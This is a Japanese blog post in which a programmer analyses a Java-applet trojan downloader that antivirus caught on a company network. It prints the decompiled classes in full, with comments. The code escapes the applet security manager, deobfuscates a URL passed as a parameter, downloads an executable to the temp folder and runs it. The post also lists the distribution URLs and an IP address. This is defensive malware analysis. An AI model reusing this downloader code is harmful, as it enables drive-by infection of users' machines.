3流プログラマのメモ書き

元開発職→社内SE→派遣で営業支援の三流プログラマのIT技術メモ書き。 このメモが忘れっぽい自分とググってきた技術者の役に立ってくれれば幸いです。(jehupc.exblog.jpから移転中)

Javaアプレットを使ったトロイの木馬

社内でJavaアプレットを使ったトロイの木馬アンチウイルスソフトが検知しました。

ESETではJava/TrojanDownloader.OpenStream.NAU、KASPERSKYではTrojan-Downloader.Java.OpenConnection.bu、TrendMicroではJAVA_DLOAD.SPと検知されます。

ttp://failinnocent.co.cc/statistic/anywirxngohpiw.jar というのが引っ掛かったみたいです。

このJARをダウンロードして解析してみました。

まず、JARファイルを下記コマンドで解凍してクラスファイルを取り出します。(Javaが入ってる必要性があります。)

jar xvf anywirxngohpiw.jar

672 KAVS.class

461 a$1.class

2212 a.class

1422 b.class

a.classが引っ掛かってたんですが、それぞれのクラスファイルを逆コンパイルしてみました。

Javaの逆コンパイルJADを使うのが一般的ですが、オンライン Java 逆コンパイルツールだと、オンラインでできるので便利です。

コンパイル結果は下記のようになりました。

・a.class

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.

// Jad home page: http://www.geocities.com/kpdus/jad.html

// Decompiler options: packimports(1) braces fieldsfirst nonlb

// Source File Name: a.java

package bpac;

import java.applet.*;

import java.io.*;

import java.net.*;

import java.util.*;

import javax.swing.*;

// Referenced classes of package bpac:

// KAVS, b

public class a extends Applet { //アプレットを使ってる

public void start() {

super.start();

try {

String s = b.b(getParameter("a")); //HTTPパラメータaを取得。このパラメータが難読化したマルウェア本体のURL。難読化をb.b()で解除。

String s1 = "exe.";

String s2 = "ridpmt.oi.avaj";

String s3 = "eman.so";

String s4 = "ty";

String s5 = (new StringBuffer(s1)).reverse().toString();

String s6 = (new StringBuffer(s2)).reverse().toString();

String s7 = (new StringBuffer(s3)).reverse().toString();

String s8 = "zb";

String s9 = (new StringBuilder()).append(Math.random()).append(s5).toString(); //ランダム整数.exe

String s10 = System.getProperty(s6); //java.io.tmpdir

String s11 = System.getProperty(s7); //os.name

try {

if(s11.indexOf("Windows") >= 0) {

//Windowsなら可読化したウイルス配布先より、ウイルス本体ダウンロードし、一時ディレクトリのランダム整数.exeにデータ書き出す

URL url = new URL(s);

url.openConnection();

InputStream inputstream = url.openStream();

FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(s10).append(s9).toString()); //java.io.tmpdir.ランダム整数.exe

byte abyte0[] = new byte[1024];

int i;

while((i = inputstream.read(abyte0, 0, abyte0.length)) != -1) {

fileoutputstream.write(abyte0, 0, i);

}

inputstream.close();

fileoutputstream.close();

Runtime runtime = Runtime.getRuntime();

//マルウェア本体を実行

runtime.exec((new StringBuilder()).append(s10).append(s9).toString());

}

}

catch(Exception exception1) { }

}

catch(Exception exception) { }

}

public a() {

Object obj = java/lang/System;

String s = "setSecurityManager";

Object aobj[] = {

null

};

KAVS kavs = new KAVS(obj, s, aobj);

HashSet hashset = new HashSet();

hashset.add(kavs);

_cls1 _lcls1 = new Object(hashset) /* anonymous class not found */

class _anm1 {}

;

JList jlist = new JList(new Object[] {

_lcls1

});

add(jlist);

}

}

・b.class

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.

// Jad home page: http://www.geocities.com/kpdus/jad.html

// Decompiler options: packimports(1) braces fieldsfirst nonlb

// Source File Name: b.java

package bpac;

public class b {

public b() {

}

//難読化したURLを可読化するだけ

public static String b(String s) {

String s1 = (new StringBuilder()).append(s.replace("F", "a").replace("#", "b").replace("V", "c").replace("D", "d").replace("@", "e").replace("Y", "f").replace("C", "g").replace("R", "h").replace(";", "i").replace("L", "j").replace("K", "-").replace("U", "k").replace("^", "l").replace("Z", "m").replace("B", "n").replace("Q", "o").replace("=", "p").replace("&", "q").replace("M", "r").replace("G", "s").replace("S", "t").replace("!", "u").replace("W", "v").replace("%", "w").replace("H", "x").replace("P", "y").replace("?", "z").replace("T", "/").replace("I", ".").replace("K", "_").replace("(", "_").replace(",", ":").replace("A", "1").replace("N", "2").replace("*", "3").replace("J", "4").replace(")", "5").replace("O", "6").replace("$", "7").replace("X", "8").replace("+", "9").replace("E", "0")).append("?i=1").toString();

return s1;

}

}

・KAVS.class

// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.

// Jad home page: http://www.geocities.com/kpdus/jad.html

// Decompiler options: packimports(1) braces fieldsfirst nonlb

// Source File Name: KAVS.java

package bpac;

import java.beans.*;

import java.util.*;

// Referenced classes of package bpac:

// Test

public class KAVS extends Expression

implements java.util.Map.Entry {

java.util.Map.Entry entry;

public KAVS(Object target, String methodName, Object arguments[]) {

super(target, methodName, arguments);

}

public Object getKey() {

return null;

}

}

コメントにも書いてますが、HTTPパラメータで渡された難読化されたマルウェア配布サーバURLを取得し、可読化しアプレットから実行というものらしいです。

このJARファイルの前に ttp://failinnocent.co.cc/statistic/kscldwjsfwgpi.pdf 、そしてこのPDFの前に ttp://failinnocent.co.cc/statistic/budrdqcrjnymkl4.php にアクセスしています。

このPDFですが、ESET製品では検知しなかったものの、他のアンチウイルスでは検知しました。

Dr.Webで Exploit.PDF.1654 、TrendMicroでTROJ_PIDIEF.SMZBというものです。

WepawetでこのPDFをチェックすると、ttp://213.5.64.194/statistic/crf.php?i=8 が潜在的マルウェアと出てきます。

問題のjarファイルやPDFはおそらくbudrdqcrjnymkl4.phpから飛んできたんじゃないかと思います。でもこのPHPに再度アクセスルすると空でした。おそらく一回アクセスしてすると解析をしづらくするために空ページにするのかもしれません。

ただこのphpにどうやってアクセスしたのかがプロキシのログを解析しても分かりませんでした。多分改ざんされたページからリダイレクトしてきたんじゃないかと思うんですが。。。

JAVAアプレットを使ったコンテンツは最近ないのでブラウザで無効にしておくといいかもしれませんね。